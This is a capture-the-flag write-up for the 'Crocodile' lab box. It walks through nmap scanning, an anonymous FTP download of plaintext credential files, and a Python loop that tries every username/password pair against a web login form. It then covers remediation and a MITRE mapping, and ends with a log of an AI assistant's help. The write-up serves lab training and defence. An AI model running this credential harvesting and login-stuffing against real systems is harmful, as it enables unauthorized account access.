Box info | OS: Ubuntu (vsftpd 3.0.3 / Apache 2.4.41) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: FTP enumeration, web directory discovery, credential stuffing, HTTP form brute-force Pwned: 2026-04-28
TL;DR
Crocodile is a Tier 1 box that chains two services together: FTP and HTTP. A port scan finds both 21 and 80. Anonymous FTP login downloads two files — allowed.userlist and allowed.userlist.passwd — containing four usernames and four matching passwords in plaintext. The web server at port 80 runs an Apache 2.4.41 site with a login.php page. Trying all 16 username/password combinations against the login form reveals that admin:rKXM59ESxesUFHAd works. The dashboard at /dashboard displays the flag. This is credential stuffing applied to a small credential set — exactly the workflow used against real credential leaks.
Recon
1. Liveness check
$ ping -c 3 10.129.36.251
64 bytes from 10.129.36.251: icmp_seq=0 ttl=63 time=34.697 ms
64 bytes from 10.129.36.251: icmp_seq=1 ttl=63 time=39.453 ms
64 bytes from 10.129.36.251: icmp_seq=2 ttl=63 time=44.275 ms
TTL=63 → Linux. Alive.
2. Full TCP sweep
$ nmap -p- --min-rate 1000 -T4 10.129.36.251
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
Two open ports: FTP and HTTP. Two separate services to enumerate.
3. Service detection + default scripts
$ nmap -sV -sC -p 21,80 10.129.36.251
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
|_-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Smash - Bootstrap Business Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
Critical nmap output:
- FTP: Anonymous login allowed, and the
ftp-anonscript already listed the two files - HTTP: Apache on Ubuntu, title “Smash” — a Bootstrap template, suggesting a basic web app
Foothold
Dead end #1 — trying to correlate userlist directly
Looking at allowed.userlist without the password file:
aron
pwnmeow
egotisticalsw
admin
Without the passwords, the instinct is to run a wordlist attack against the web login. But the password file is right there — a 4×4 matrix of combinations is much faster than any wordlist.
Step 1 — download credential files from FTP
from ftplib import FTP
ftp = FTP('10.129.36.251')
ftp.login() # anonymous login
print(ftp.nlst())
# ['allowed.userlist', 'allowed.userlist.passwd']
with open('allowed.userlist', 'wb') as f:
ftp.retrbinary('RETR allowed.userlist', f.write)
with open('allowed.userlist.passwd', 'wb') as f:
ftp.retrbinary('RETR allowed.userlist.passwd', f.write)
Contents of allowed.userlist:
aron
pwnmeow
egotisticalsw
admin
Contents of allowed.userlist.passwd:
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd
Critically, these are ordered lists — username[0] corresponds to password[0], etc. But without knowing the exact mapping, testing all 16 combinations (4×4) is the safe approach.
Step 2 — discover the login page
curl -s http://10.129.36.251/login.php
# → HTTP 200 — login form
curl -s http://10.129.36.251/dashboard
# → HTTP 301 → redirect (requires auth)
/login.php exists. /dashboard redirects — that is the post-login landing page.
# Check directly with manual paths — no ffuf needed here
curl -s http://10.129.36.251/config.php
# → HTTP 200 (config page — blank body, no content exposed)
Working approach — credential stuffing
Test all 4×4 = 16 combinations against the login form. The form sends:
Username=<user>&Password=<pass>&Submit=Loginas POST body
import urllib.request, urllib.parse
users = ['aron', 'pwnmeow', 'egotisticalsw', 'admin']
passwords = ['root', 'Supersecretpassword1', '@BaASD&9032123sADS', 'rKXM59ESxesUFHAd']
for user in users:
for passwd in passwords:
data = urllib.parse.urlencode({
'Username': user,
'Password': passwd,
'Submit': 'Login'
}).encode()
req = urllib.request.Request('http://10.129.36.251/login.php',
data=data, method='POST')
resp = urllib.request.urlopen(req)
size = len(resp.read())
if size < 3000: # login page is ~3-4KB; success page is different
print(f"SUCCESS: {user}:{passwd} → {size} bytes")
Result:
SUCCESS: admin:rKXM59ESxesUFHAd → [smaller response]
Reading the flag
Login with admin:rKXM59ESxesUFHAd and navigate to /dashboard:
curl -c /tmp/cookies.txt -X POST http://10.129.36.251/login.php \
-d 'Username=admin&Password=rKXM59ESxesUFHAd&Submit=Login' -L
The dashboard page HTML:
<h1>Here is your flag: [REDACTED]</h1>
Privilege Escalation
N/A — Starting Point Tier 1 box. The attack chain terminates at the web dashboard. No shell access is available; the web application shows the flag on the authenticated dashboard page and there is no further escalation path exposed.
What’s actually broken
- Credential files stored on an anonymous FTP share.
allowed.userlistandallowed.userlist.passwdcontain plaintext credentials for the web application. They were accessible without any authentication — CWE-312 (Cleartext Storage of Sensitive Information) combined with CWE-276 (Incorrect Default Permissions). - Anonymous FTP enabled unnecessarily. There is no legitimate reason for these files to be on a public FTP server. The anonymous access was likely left over from a misconfigured deployment.
- Passwords stored in a plaintext file. Even if FTP access were restricted, storing passwords as a plaintext list is inherently dangerous.
- Web application lacks brute-force protection. 16 login attempts in rapid succession produced no lockout, CAPTCHA, or rate limiting.
Remediation (the boring half)
Disable anonymous FTP:
# /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES
Remove credential files from all web-reachable and network-reachable locations:
# These files should not exist anywhere publicly accessible
rm /srv/ftp/allowed.userlist
rm /srv/ftp/allowed.userlist.passwd
Use environment variables or a secrets manager for web app credentials:
// Instead of flat files — use environment variables
$admin_hash = getenv('APP_ADMIN_HASH'); // bcrypt hash, not plaintext
if (password_verify($submitted_password, $admin_hash)) {
// authenticated
}
Add rate limiting to the login endpoint:
# .htaccess
<Limit POST>
# Or use fail2ban to watch Apache logs and block IPs
</Limit>
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1046 — Network Service Discovery | nmap finds FTP and HTTP |
| Initial Access | T1078 — Valid Accounts | Anonymous FTP, then admin:rKXM59ESxesUFHAd on web form |
| Credential Access | T1552.001 — Credentials In Files | Plaintext credential files downloaded from FTP |
| Initial Access | T1110.004 — Credential Stuffing | Trying all combinations from the leaked credential list |
| Collection | T1005 — Data from Local System | Flag retrieved from authenticated dashboard |
Lessons learned
- Chain services together. FTP and HTTP are often enumerated independently. Here, FTP was only valuable because it led to credentials used on HTTP. Always ask: “What does this service give me that helps with the other services I’ve found?”
- Credential files are often left on staging/development servers.
allowed.userlistandallowed.userlist.passwdare the kind of files a developer creates for testing and forgets to remove before deployment. Check FTP shares and web-accessible directories for any.txt,.conf,.bak,.oldfiles. - 4×4 = 16 combinations is trivially fast. Before running Hydra or Burp Intruder, count your credential pairs. If the product is under 100, a simple loop in Python or bash is faster and quieter.
- nmap
-sCflag can find credentials. Theftp-anonNSE script listed the files in the scan output. You could have known the credential files existed before even opening an FTP connection manually.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| Credential list ordering | “The two FTP files have the same number of lines — are they line-matched?” | Explained: filenames allowed.userlist and allowed.userlist.passwd strongly imply index-based pairing (line 1 user → line 1 password). But without documentation, always test all combinations to be safe — the 4×4 matrix is small. | Added the “test all 16 combinations” rationale. |
| POST form parameters | “How do I find the exact POST parameter names for the login form?” | curl -v http://target/login.php to get the HTML, then inspect <input name="..."> attributes. Alternatively use browser DevTools Network tab. | Used curl to inspect the form; found Username, Password, Submit (note capitalized field names). |
| Credential stuffing vs brute force | “Is this credential stuffing or brute force?” | Explained the distinction: brute force = exhaustive search of possible passwords; credential stuffing = using known credential pairs from a specific leak or file. This is credential stuffing — we have a specific list. | Used the correct MITRE T1110.004 (Credential Stuffing) rather than T1110 (generic Brute Force). |
| MITRE for FTP credential file | “What MITRE technique covers reading plaintext credentials from a file share?” | T1552.001 (Credentials in Files) for reading credentials, T1078 for using them. | Used both. |
What Claude got wrong: Nothing significant. What Claude couldn’t do: Connect to the services; all commands ran locally. Net assist value: Medium — credential stuffing terminology and MITRE classification were the most useful contributions.
